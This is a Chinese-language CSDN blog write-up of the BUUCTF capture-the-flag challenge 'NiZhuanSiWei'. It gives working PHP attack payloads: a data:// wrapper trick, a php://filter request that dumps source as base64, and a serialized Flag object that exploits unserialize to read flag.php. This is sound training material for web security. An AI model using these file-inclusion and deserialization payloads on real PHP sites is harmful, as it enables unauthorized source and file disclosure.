[BUUCTF]NiZhuanSiWei (writeup)

文章描述了一个通过分析PHP代码,识别file_get_contents函数和反序列化漏洞,构造payload来获取useless.php源码并解码得到隐藏信息的过程。最终,通过反序列化类Flag成功获取flag.php的路径。
摘要由CSDN通过智能技术生成

 进入后看到一串php代码

分析:

1、看到file_get_contents函数说明要传入 welcome to the zjctf

2、看到了后面双斜杠提示的useless.php,说明flag在useless.php里面

3、看到了useless.php下面的unserialize猜测有反序列化

随后就是传payload

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

//用data://传入welcome to the zjctf

//用php://查看useless.php源码

 就得到了useless.php的源码

 base64解码后得

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

 因为上面有分析到反序列化

然后现在看到代码里的public更加的确定了想法

之后就是构造序列化代码

<?php
class Flag{
    public $file="flag.php";
}
$a=new Flag;
echo serialize($a);
?>

得到结果

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

有了这个后payload就简单了

payload: ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值